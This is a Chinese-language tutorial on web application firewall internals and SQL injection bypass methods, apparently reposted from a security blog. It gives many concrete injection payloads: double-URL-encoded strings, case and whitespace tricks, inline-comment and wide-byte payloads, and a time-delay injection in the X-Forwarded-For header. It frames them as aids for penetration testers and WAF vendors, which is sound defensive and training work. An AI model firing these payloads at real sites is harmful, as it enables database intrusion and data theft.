WAF机制及绕过方法总结:注入篇
本篇文章主要介紹WAF的一些基本原理,總結(jié)常見(jiàn)的SQL注入Bypass WAF技巧。WAF是專(zhuān)門(mén)為保護(hù)基于Web應(yīng)用程序而設(shè)計(jì)的,我們研究WAF繞過(guò)的目的一是幫助安服人員了解滲透測(cè)試中的測(cè)試技巧,而是能夠?qū)Π踩O(shè)備廠(chǎng)商提供一些安全建議,及時(shí)修復(fù)WAF存在的安全問(wèn)題,以增強(qiáng)WAF的完備性和抗攻擊性。三是希望網(wǎng)站開(kāi)發(fā)者明白并不是部署了WAF就可以高枕無(wú)憂(yōu)了,要明白漏洞產(chǎn)生的根本原因,最好能在代碼層面上就將其修復(fù)。
一、WAF的定義
WAF(Web應(yīng)用防火墻)是通過(guò)執(zhí)行一系列針對(duì)HTTP/HTTPS的安全策略來(lái)專(zhuān)門(mén)為Web應(yīng)用提供保護(hù)的一款產(chǎn)品。通俗來(lái)說(shuō)就是WAF產(chǎn)品里集成了一定的檢測(cè)規(guī)則,會(huì)對(duì)每個(gè)請(qǐng)求的內(nèi)容根據(jù)生成的規(guī)則進(jìn)行檢測(cè)并對(duì)不符合安全規(guī)則的作出對(duì)應(yīng)的防御處理,從而保證Web應(yīng)用的安全性與合法性。
二、WAF的工作原理
WAF的處理流程大致可分為四部分:預(yù)處理、規(guī)則檢測(cè)、處理模塊、日志記錄
1.???預(yù)處理
預(yù)處理階段首先在接收到數(shù)據(jù)請(qǐng)求流量時(shí)會(huì)先判斷是否為HTTP/HTTPS請(qǐng)求,之后會(huì)查看此URL請(qǐng)求是否在白名單之內(nèi),如果該URL請(qǐng)求在白名單列表里,直接交給后端Web服務(wù)器進(jìn)行響應(yīng)處理,對(duì)于不在白名單之內(nèi)的對(duì)數(shù)據(jù)包解析后進(jìn)入到規(guī)則檢測(cè)部分。
2.???規(guī)則檢測(cè)
每一種WAF產(chǎn)品都有自己獨(dú)特的檢測(cè)規(guī)則體系,解析后的數(shù)據(jù)包會(huì)進(jìn)入到檢測(cè)體系中進(jìn)行規(guī)則匹配,檢查該數(shù)據(jù)請(qǐng)求是否符合規(guī)則,識(shí)別出惡意攻擊行為。
3.???處理模塊
針對(duì)不同的檢測(cè)結(jié)果,處理模塊會(huì)做出不同的安全防御動(dòng)作,如果符合規(guī)則則交給后端Web服務(wù)器進(jìn)行響應(yīng)處理,對(duì)于不符合規(guī)則的請(qǐng)求會(huì)執(zhí)行相關(guān)的阻斷、記錄、告警處理。
不同的WAF產(chǎn)品會(huì)自定義不同的攔截警告頁(yè)面,在日常滲透中我們也可以根據(jù)不同的攔截頁(yè)面來(lái)辨別出網(wǎng)站使用了哪款WAF產(chǎn)品,從而有目的性進(jìn)行WAF繞過(guò)。
4.???日志記錄
WAF在處理的過(guò)程中也會(huì)將攔截處理的日志記錄下來(lái),方便用戶(hù)在后續(xù)中可以進(jìn)行日志查看分析。
三、WAF的分類(lèi)
1.? 軟WAF
軟件WAF安裝過(guò)程比較簡(jiǎn)單,需要安裝到需要安全防護(hù)的web服務(wù)器上,以純軟件的方式實(shí)現(xiàn)。
代表產(chǎn)品:安全狗,云鎖,D盾等
2.? 硬WAF
硬件WAF的價(jià)格一般比較昂貴,支持多種方式部署到Web服務(wù)器前端,識(shí)別外部的異常流量,并進(jìn)行阻斷攔截,為Web應(yīng)用提供安全防護(hù)。
代表產(chǎn)品有:Imperva、天清WAG等
3.???云WAF
云WAF的維護(hù)成本低,不需要部署任何硬件設(shè)備,云WAF的攔截規(guī)則會(huì)實(shí)時(shí)更新。對(duì)于部署了云WAF的網(wǎng)站,我們發(fā)出的數(shù)據(jù)請(qǐng)求首先會(huì)經(jīng)過(guò)云WAF節(jié)點(diǎn)進(jìn)行規(guī)則檢測(cè),如果請(qǐng)求匹配到WAF攔截規(guī)則,則會(huì)被WAF進(jìn)行攔截處理,對(duì)于正常、安全的請(qǐng)求則轉(zhuǎn)發(fā)到真實(shí)Web服務(wù)器中進(jìn)行響應(yīng)處理。
代表產(chǎn)品有:阿里云云盾,騰訊云WAF等
4.???自定義WAF
我們?cè)谄綍r(shí)的滲透測(cè)試中,更多情況下會(huì)遇到的是網(wǎng)站開(kāi)發(fā)人員自己寫(xiě)的防護(hù)規(guī)則。網(wǎng)站開(kāi)發(fā)人員為了網(wǎng)站的安全,會(huì)在可能遭受攻擊的地方增加一些安全防護(hù)代碼,比如過(guò)濾敏感字符,對(duì)潛在的威脅的字符進(jìn)行編碼、轉(zhuǎn)義等。
四、WAF的部署方式
1. 透明網(wǎng)橋
2. 反向代理
3. 鏡像流量
4. 路由代理
五、?繞WAF的多種方式
為了讓大家更清楚的理解繞WAF的方法原理,本次WAF繞過(guò)方法的介紹中會(huì)增加部分代碼示例。
注:本文的代碼示例都是在sqli-labs基礎(chǔ)上修改的。
正常無(wú)攔截規(guī)則的代碼:
接收用戶(hù)傳遞的參數(shù)后直接帶入數(shù)據(jù)庫(kù)中執(zhí)行。為了方便查看,將查詢(xún)語(yǔ)句動(dòng)態(tài)輸出。
1.???各種編碼繞過(guò)
繞WAF最常見(jiàn)的方法就是使用各種編碼進(jìn)行繞過(guò),但編碼能繞過(guò)的前提是提交的編碼后的參數(shù)內(nèi)容在進(jìn)入數(shù)據(jù)庫(kù)查詢(xún)語(yǔ)句之前會(huì)有相關(guān)的解碼代碼。
a)?? URL編碼:
增加了過(guò)濾規(guī)則的代碼:
代碼中增加了特殊字符過(guò)濾,但在參數(shù)值進(jìn)入數(shù)據(jù)庫(kù)查詢(xún)語(yǔ)句前多了一步解碼操作:
$id= urldecode($id);正常payload:
?id=1' and '1'='2直接提交攻擊語(yǔ)句,單引號(hào)被過(guò)濾,注入語(yǔ)句未成功插入。
繞過(guò)payload:
?id=?%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32對(duì)參數(shù)值進(jìn)行URL編碼后可繞過(guò)過(guò)濾檢測(cè),注入語(yǔ)句成功寫(xiě)入。
b)??二次URL編碼
增加了過(guò)濾規(guī)則的代碼:
代碼中在特殊字符過(guò)濾前又多增加了一步解碼操作,可使用二次URL編碼進(jìn)行繞過(guò)。
正常payload:
?id=1'and '1'='2
?id=%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32
使用一次URL編碼繞過(guò)后,由于在過(guò)濾前會(huì)進(jìn)行一次解碼操作,所以單引號(hào)還是被過(guò)濾掉,注入語(yǔ)句未成功插入。
繞過(guò)payload:
?id=%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32
使用二次URL編碼后可繞過(guò)過(guò)濾檢測(cè),注入語(yǔ)句成功寫(xiě)入。
c)???其他編碼
除了使用URL編碼外,還可以使用其他的編碼方式進(jìn)行繞過(guò)嘗試,例如Unicode編碼,Base64編碼,Hex編碼,ASCII編碼等,原理與URL編碼類(lèi)似,此處不再重復(fù)。
2. 字母大小寫(xiě)轉(zhuǎn)換繞過(guò)
部分WAF只過(guò)濾全大寫(xiě)(SLEEP)或者全小寫(xiě)(sleep)的敏感字符,未對(duì)sleeP/slEEp進(jìn)行過(guò)濾,可對(duì)關(guān)鍵字進(jìn)行大小寫(xiě)轉(zhuǎn)換進(jìn)行繞過(guò)。
增加了過(guò)濾規(guī)則的代碼:
正常payload:
?id=1' and sleep(3) and '1'='1
?id=1' and SLEEP(3) and '1'='1
繞過(guò)payload:
?id=1' and sleeP(3) and '1'='1
?id=1' and slEeP(3) and '1'='1
3. 空格過(guò)濾繞過(guò)
增加了過(guò)濾規(guī)則的代碼:
部分WAF會(huì)對(duì)空格過(guò)濾,可使用空白符或者‘+’號(hào)替換空格進(jìn)行繞過(guò)。
a)???使用空白符替換空格繞過(guò)
| SQLite3 | 0A,0D,0C,09,20 |
| MySQL5 | 09,0A,0B,0C,0D,A0,20 |
| PosgresSQL | 0A,0D,0C,09,20 |
| Oracle 11g | 00,0A,0D,0C,09,20 |
| MSSQL | 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 |
正常payload:
?id=1'and sleep(3) and '1'='1空格被過(guò)濾,注入語(yǔ)句未成功插入。
繞過(guò)payload:
?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1注入語(yǔ)句成功寫(xiě)入
b)??使用‘+’替換空格繞過(guò)
繞過(guò)payload:
?id=1'+and+sleep(3)+and+'1'='1?注入語(yǔ)句成功寫(xiě)入
c)???使用注釋符/**/替換空格繞過(guò)
繞過(guò)payload:
??id=1'/**/and/**/sleep(3)/**/and/**/'1'='1注入語(yǔ)句成功寫(xiě)入
4. 雙關(guān)鍵字繞過(guò)
部分WAF會(huì)對(duì)關(guān)鍵字只進(jìn)行一次過(guò)濾處理,可使用雙關(guān)鍵字繞過(guò)。
增加了過(guò)濾規(guī)則的代碼:
正常payload:
?id=1and SLeeP(3) and 1=1由于使用了strtolower()函數(shù),所以無(wú)法使用大小寫(xiě)轉(zhuǎn)換進(jìn)行繞過(guò),注入語(yǔ)句未成功插入。
繞過(guò)payload:
?id=1+and+SLesleepeP(3)+and+1=1?WAF只對(duì)關(guān)鍵字sleep進(jìn)行一次過(guò)濾,可使用SLEsleepEP,進(jìn)行一次過(guò)濾后成為sleep,可繞過(guò)WAF,注入語(yǔ)句成功寫(xiě)入。
5. 內(nèi)聯(lián)注釋繞過(guò)
在MySQL里,/**/是多行注釋,這個(gè)是SQL的標(biāo)準(zhǔn),但是MySQL擴(kuò)張了解釋的功能,如果在開(kāi)頭的的/*后頭加了驚嘆號(hào)(/*!50001sleep(3)*/),那么此注釋里的語(yǔ)句將被執(zhí)行。
增加了過(guò)濾規(guī)則的代碼:
正常payload:
?id=1+and+sleep(3)+and+1=2繞過(guò)payload:
?id=1+and+/*!50001sleep(3)*/+and+1=16. 請(qǐng)求方式差異規(guī)則松懈性繞過(guò)
有些WAF同時(shí)接收GET方法和POST的方法,但只在GET方法中增加了過(guò)濾規(guī)則,可通過(guò)發(fā)送POST方法進(jìn)行繞過(guò)。
增加了過(guò)濾規(guī)則的代碼:
正常payload:
GET /xxx/?id=1+and+sleep(4)??
繞過(guò)payload:
POST?/xxx/?
id=1+and+sleep(4)
?
發(fā)送POST請(qǐng)求,繞過(guò)過(guò)濾規(guī)則,注入語(yǔ)句成功寫(xiě)入。
7. 異常Method繞過(guò)
有些WAF只檢測(cè)GET,POST方法,可通過(guò)使用異常方法進(jìn)行繞過(guò)。
增加了過(guò)濾規(guī)則的代碼:
正常payload:
?GET/xxx/?id=1+and+sleep(3) HTTP/1.1繞過(guò)payload:
DigApis?/xxx/?id=1+and+sleep(3)HTTP/1.1使用異常方法繞過(guò)過(guò)濾規(guī)則檢測(cè),注入語(yǔ)句成功寫(xiě)入。
8. 超大數(shù)據(jù)包繞過(guò)
部分WAF只檢測(cè)固定大小的內(nèi)容,可通過(guò)添加無(wú)用字符進(jìn)行繞過(guò)檢測(cè)
增加了過(guò)濾規(guī)則的代碼:
正常payload:
?id=1+and+sleep(3)?繞過(guò)payload:
??id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111添加無(wú)用字符,使內(nèi)容大小超過(guò)WAF檢測(cè)能檢測(cè)到的最大內(nèi)容。
9. 復(fù)參數(shù)繞過(guò)
在提交的URL中給一個(gè)參數(shù)多次賦了不同的值(?id=1&id=2),部分WAF在處理的過(guò)程中可能只處理前面提交的參數(shù)值(id=1),而后端程序在處理的時(shí)候可能取的是最后面的值。
正常payload:
?id=1+and+sleep(3)?繞過(guò)payload:
?id=1&id=2+and+sleep(3)?將攻擊語(yǔ)句賦予最后一個(gè)id參數(shù),可繞過(guò)WAF檢測(cè)直接進(jìn)入后端服務(wù)器。
10.???添加%繞過(guò)過(guò)濾
將WAF中過(guò)濾的敏感字符通過(guò)添加%繞過(guò)過(guò)濾。
例如:WAF過(guò)濾了select ,可通過(guò)se%lect繞過(guò)過(guò)濾,在進(jìn)入后端執(zhí)行中對(duì)參數(shù)串進(jìn)行url解碼時(shí),會(huì)直接過(guò)濾掉%字符,從而注入語(yǔ)句被執(zhí)行。IIS下的asp.dll文件在對(duì)asp文件后參數(shù)串進(jìn)行url解碼時(shí),會(huì)直接過(guò)濾%字符。
正常payload:
?id=1 union select 1, 2, 3 from admin
?id=1union select 1, 2, 3 from admi
?繞過(guò)payload:
?id=1 union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin
?id=1union s%e%lect 1, 2, 3 from admin
11.???協(xié)議未覆蓋繞過(guò)
以下四種常見(jiàn)的content-type類(lèi)型:
以下四種常見(jiàn)的content-type類(lèi)型:
Content-Type:multipart/form-data;
Content-Type:application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: application/json
部分WAF可能只對(duì)一種content-type類(lèi)型增加了檢測(cè)規(guī)則,可以嘗試互相替換嘗試去繞過(guò)WAF過(guò)濾機(jī)制。
例如使用multipart/form-data進(jìn)行繞過(guò)。
正常請(qǐng)求:
轉(zhuǎn)換為multipart/form-data類(lèi)型進(jìn)行繞過(guò):
12.???寬字節(jié)繞過(guò)
寬字節(jié)注入是因?yàn)槭褂昧薌BK編碼。為了防止sql注入,提交的單引號(hào)(%27)會(huì)進(jìn)行轉(zhuǎn)義處理,即在單引號(hào)前加上斜杠(%5C%27)。
正常payload:
?id=1'and 1=1--+?繞過(guò)payload:
?id=1%df%27and 1=1--+%df%27經(jīng)過(guò)轉(zhuǎn)義后會(huì)變成%df%5C%27,%df%5c會(huì)被識(shí)別為一個(gè)新的字節(jié),而%27則被當(dāng)做單引號(hào),成功實(shí)現(xiàn)了語(yǔ)句閉合。
13.???%00截?cái)?/h3>
部分WAF在解析參數(shù)的時(shí)候當(dāng)遇到%00時(shí),就會(huì)認(rèn)為參數(shù)讀取已結(jié)束,這樣就會(huì)只對(duì)部分內(nèi)容進(jìn)行了過(guò)濾檢測(cè)。
正常payload:
?a=1&id=1and sleep(3)?繞過(guò)payload:
??a=1%00.&id=1and sleep(3)14.???Cookie/X-Forwarded-For注入繞過(guò)
部分WAF可能只對(duì)GET,POST提交的參數(shù)進(jìn)行過(guò)濾,未對(duì)Cookie或者X-Forwarded-For進(jìn)行檢測(cè),可通過(guò)cookie或者X-Forwarded-For提交注入?yún)?shù)語(yǔ)句進(jìn)行繞過(guò)。
正常payload:
GET /index.aspx?id=1+and+1=1 HTTP/1.1 Host: 192.168.61.175 ...........Cookie: TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28;
繞過(guò)payload:
GET /index.aspx HTTP/1.1 Host: 192.168.61.175 ...........Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;
X-Forwarded-For:127.0.0.1';WAITFOR DELAY'0:0:5'--
15.???利用pipline繞過(guò)
當(dāng)請(qǐng)求中的Connection字段值為keep-alive,則代表本次發(fā)起的請(qǐng)求所建立的tcp連接不斷開(kāi),直到所發(fā)送內(nèi)容結(jié)束Connection為close為止。部分WAF可能只對(duì)第一次傳輸過(guò)來(lái)的請(qǐng)求進(jìn)行過(guò)濾處理。
正常請(qǐng)求被攔截:
利用pipline進(jìn)行繞過(guò):
首先關(guān)閉burp的Repeater的Content-Length自動(dòng)更新
修改Connection字段值為keep-alive,將帶有攻擊語(yǔ)句的數(shù)據(jù)請(qǐng)求附加到正常請(qǐng)求后面再發(fā)送一遍。
16.???利用分塊編碼傳輸繞過(guò)
分塊傳輸編碼是HTTP的一種數(shù)據(jù)傳輸機(jī)制,允許將消息體分成若干塊進(jìn)行發(fā)送。當(dāng)數(shù)據(jù)請(qǐng)求包中header信息存在Transfer-Encoding: chunked,就代表這個(gè)消息體采用了分塊編碼傳輸。
17.???冷門(mén)函數(shù)/字符/運(yùn)算符繞過(guò)
floor()?==>? updatexml(),extractvalue()
Substring()?==>? Mid(),Substr(),Lpad(),Rpad(),Left()
concat()?==>? concat_ws(),group_concat()
limit 0,1 ?==>? limit1 offset 0
and? ==>?&&?
or? ==>?||
=?==>? <,>
=?==>? like
Sleep()? ==>?benchmark()
六、總結(jié)
上面使用部分代碼示例向大家介紹了一些基礎(chǔ)的繞過(guò)WAF注入方法,但實(shí)際中的WAF檢測(cè)規(guī)則錯(cuò)綜復(fù)雜,需要我們通過(guò)手工或fuzzing,并結(jié)合多種方法的組合拳去測(cè)試WAF檢測(cè)原理,從而對(duì)抗WAF。
總結(jié)
以上是生活随笔為你收集整理的WAF机制及绕过方法总结:注入篇的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 追洞小组 | Jdbc反序列化漏洞复现浅
- 下一篇: 记一次从代码审计到拿下内网edr的过程